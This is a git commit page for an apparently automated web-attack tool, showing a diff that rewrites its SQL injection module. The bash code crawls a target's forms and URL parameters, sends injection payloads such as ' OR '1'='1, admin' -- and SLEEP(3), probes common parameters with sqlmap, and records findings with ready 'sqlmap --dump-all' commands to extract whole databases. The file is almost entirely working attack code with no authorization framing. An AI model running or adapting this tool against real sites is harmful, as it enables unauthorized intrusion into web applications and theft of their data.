v2: real exploitation — discovery phase, nuclei CVE scanning, SQLi/XSS/LFI rebuild
- New discovery engine (engine/discovery.sh): crawls target for real URLs, forms, parameters, and API endpoints before attacking - New nuclei vector (21): runs nuclei templates for real CVE detection (critical/high/medium severity) - Rebuilt SQLi vector: tests discovered forms and URL params with error-based and time-based blind payloads, sqlmap injection - Rebuilt XSS vector: multi-context payloads against discovered forms/params, confirms payload reflection - Rebuilt LFI vector: tests all discovered and common file parameters with traversal payloads, confirms by reading /etc/passwd - Updated main analyzer with 5-step pipeline: connectivity → discovery → recon → Ollama brain → exploitation
This commit is contained in:
drjones
@@ -1,82 +1,165 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 01: SQL Injection
|
||||
# Desc: Database injection attacks (basic, blind, time-based, error-based)
|
||||
# Detect: Forms, login pages, URL parameters, search bars
|
||||
# Vector 01: SQL Injection v2 — Real Exploitation
|
||||
# Desc: Finds injectable params on discovered forms/URLs and exploits them
|
||||
# Detect: Forms with POST params, URL query params, login pages
|
||||
# Severity: CRITICAL
|
||||
# Tools: sqlmap, curl
|
||||
|
||||
vector_sqli() {
|
||||
vector_sqli_v2() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
||||
|
||||
print_info "Testing SQL Injection vectors..."
|
||||
|
||||
# Find injectable parameters
|
||||
local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
|
||||
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
|
||||
|
||||
local domain=$(get_domain "$target")
|
||||
local base=$(get_base "$target")
|
||||
local findings=0
|
||||
|
||||
# 1. Basic SQLi test with sqlmap
|
||||
print_info "Hunting SQL Injection..."
|
||||
|
||||
# Get discovered attack surface
|
||||
local forms=$(get_discovered_forms "$domain" 2>/dev/null)
|
||||
local params=$(get_discovered_params "$domain" 2>/dev/null)
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
|
||||
# If no discovery data, extract from the target page directly
|
||||
if [ -z "$forms" ]; then
|
||||
print_sub "No discovery data. Extracting from target..."
|
||||
local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null)
|
||||
forms=$(echo "$page" | perl -0 -nle 'while (/<form[^>]*>.*?<\/form>/gs) {
|
||||
my $f = $&;
|
||||
my $action = $1 if $f =~ /action="([^"]*)"/;
|
||||
my $method = $1 if $f =~ /method="([^"]*)"/;
|
||||
my @inputs = $f =~ /name="([^"]*)"/g;
|
||||
print "1|$method|$action|@inputs\n" if @inputs;
|
||||
}')
|
||||
fi
|
||||
|
||||
local tested_count=0
|
||||
|
||||
# --- Test forms for SQLi ---
|
||||
if [ -n "$forms" ]; then
|
||||
print_sub "Testing forms for SQL injection..."
|
||||
|
||||
while IFS= read -r form; do
|
||||
[ -z "$form" ] && continue
|
||||
|
||||
local form_method=$(echo "$form" | cut -d'|' -f2)
|
||||
local form_action=$(echo "$form" | cut -d'|' -f3)
|
||||
local form_params=$(echo "$form" | cut -d'|' -f4-)
|
||||
|
||||
# Make absolute URL
|
||||
if [[ "$form_action" == /* ]]; then
|
||||
form_action="${base}${form_action}"
|
||||
elif [[ "$form_action" != http* ]]; then
|
||||
form_action="${base}/${form_action}"
|
||||
fi
|
||||
|
||||
[ -z "$form_action" ] && form_action="$target"
|
||||
|
||||
# Test each parameter with SQLi payloads
|
||||
local payloads=(
|
||||
"'"
|
||||
"1'"
|
||||
"1' OR '1'='1"
|
||||
"1' OR 1=1--"
|
||||
"1' AND SLEEP(3)--"
|
||||
"' OR '1'='1' --"
|
||||
"admin' --"
|
||||
)
|
||||
|
||||
for param in $form_params; do
|
||||
for payload in "${payloads[@]}"; do
|
||||
tested_count=$((tested_count + 1))
|
||||
|
||||
local response=""
|
||||
if [ "$form_method" = "post" ]; then
|
||||
response=$(curl -s --connect-timeout 7 --max-time 12 \
|
||||
-X POST \
|
||||
-d "$param=$payload" \
|
||||
-b "$param=$payload" \
|
||||
"$form_action" 2>/dev/null)
|
||||
else
|
||||
local test_url="${form_action}${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||
[[ "$form_action" != *\?* ]] && test_url="${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||
response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Check for error-based SQLi
|
||||
if echo "$response" | grep -qiE "sql|mysql|syntax|ora-|unclosed|quotation|odbc|driver|mysql_fetch|pg_|sqlite|you have an error"; then
|
||||
print_find "SQLi on $form_action param=$param" "Error-based with payload: $payload"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection (Error-based)
|
||||
DETAIL: SQL injection on $form_action parameter '$param'
|
||||
EVIDENCE: Database error messages with payload: $payload
|
||||
EXPLOIT: sqlmap -u \"$form_action\" --data=\"$param=$payload\" --batch --dump" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-form.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2 # Found it on this form, move on
|
||||
fi
|
||||
done
|
||||
done
|
||||
done <<< "$forms"
|
||||
fi
|
||||
|
||||
# --- Test URL parameters with sqlmap ---
|
||||
if command -v sqlmap &>/dev/null; then
|
||||
print_sub "Running sqlmap (basic scan)..."
|
||||
local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
|
||||
--output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
|
||||
print_sub "Running sqlmap on discovered URLs with params..."
|
||||
|
||||
if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
|
||||
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
|
||||
print_find "SQL Injection!" "$injectable"
|
||||
|
||||
# Save finding
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection
|
||||
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
|
||||
# Find URLs with parameters
|
||||
local param_urls=$(echo -e "$urls" | grep '\?' | head -5)
|
||||
|
||||
if [ -n "$param_urls" ]; then
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
|
||||
print_sub "sqlmap: $url"
|
||||
local sqlmap_out=$(timeout 90 sqlmap -u "$url" \
|
||||
--batch --level=3 --risk=2 \
|
||||
--random-agent \
|
||||
--threads=5 \
|
||||
--time-sec=3 \
|
||||
--output-dir="$REPORTS_DIR/.sqlmap" \
|
||||
2>&1 | tail -30)
|
||||
|
||||
if echo "$sqlmap_out" | grep -qiE "Parameter.*GET|injectable|vulnerable|Type:"; then
|
||||
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -3)
|
||||
print_find "SQLi confirmed by sqlmap!" "$injectable"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection (sqlmap confirmed)
|
||||
DETAIL: sqlmap confirmed injection on $url
|
||||
EVIDENCE: $injectable
|
||||
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
|
||||
|
||||
findings=$((findings + 1))
|
||||
EXPLOIT: sqlmap -u \"$url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-sqlmap.txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done <<< "$param_urls"
|
||||
else
|
||||
# No params found — try sqlmap on base URL with common params
|
||||
local common_params=("id" "page" "pid" "cat" "category" "product" "user" "uid" "view" "file" "q" "s" "search" "order")
|
||||
for param in "${common_params[@]}"; do
|
||||
local test_url="${target}?${param}=1"
|
||||
print_sub "sqlmap probing: $param=$test_url"
|
||||
local sqlmap_out=$(timeout 60 sqlmap -u "$test_url" \
|
||||
--batch --level=2 --risk=2 \
|
||||
--random-agent \
|
||||
--threads=5 \
|
||||
--time-sec=3 \
|
||||
--output-dir="$REPORTS_DIR/.sqlmap" \
|
||||
2>&1 | tail -20)
|
||||
if echo "$sqlmap_out" | grep -qiE "Parameter|injectable|vulnerable|Type:"; then
|
||||
print_find "SQLi confirmed via $param!" ""
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection
|
||||
DETAIL: sqlmap confirmed injection via param '$param' on $target
|
||||
EVIDENCE: $(echo "$sqlmap_out" | grep -oP "Type: [^)]+\)" | head -1)
|
||||
EXPLOIT: sqlmap -u \"$test_url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-probe.txt"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
# 2. Manual error-based detection
|
||||
print_sub "Checking error-based SQLi..."
|
||||
local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
|
||||
|
||||
for payload in "${error_payloads[@]}"; do
|
||||
local test_url="${target}${target}"
|
||||
[[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||
if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
|
||||
print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# 3. Time-based blind detection
|
||||
print_sub "Checking time-based blind SQLi..."
|
||||
local sleep_test="${target}"
|
||||
if [[ "$target" == *\?* ]]; then
|
||||
sleep_test="${target}&id=1' OR SLEEP(3)--"
|
||||
else
|
||||
sleep_test="${target}?id=1' OR SLEEP(3)--"
|
||||
print_skip "sqlmap not installed. Manual SQLi checks only."
|
||||
fi
|
||||
|
||||
local start_time=$(date +%s)
|
||||
curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
|
||||
local end_time=$(date +%s)
|
||||
local elapsed=$((end_time - start_time))
|
||||
|
||||
if [ "$elapsed" -ge 3 ]; then
|
||||
print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection (Time-based Blind)
|
||||
DETAIL: Time-based blind SQLi confirmed on $target
|
||||
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
|
||||
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
|
||||
findings=$((findings + 1))
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_ok "No SQL injection found (tested $tested_count payloads)"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
|
||||
Reference in New Issue
Block a user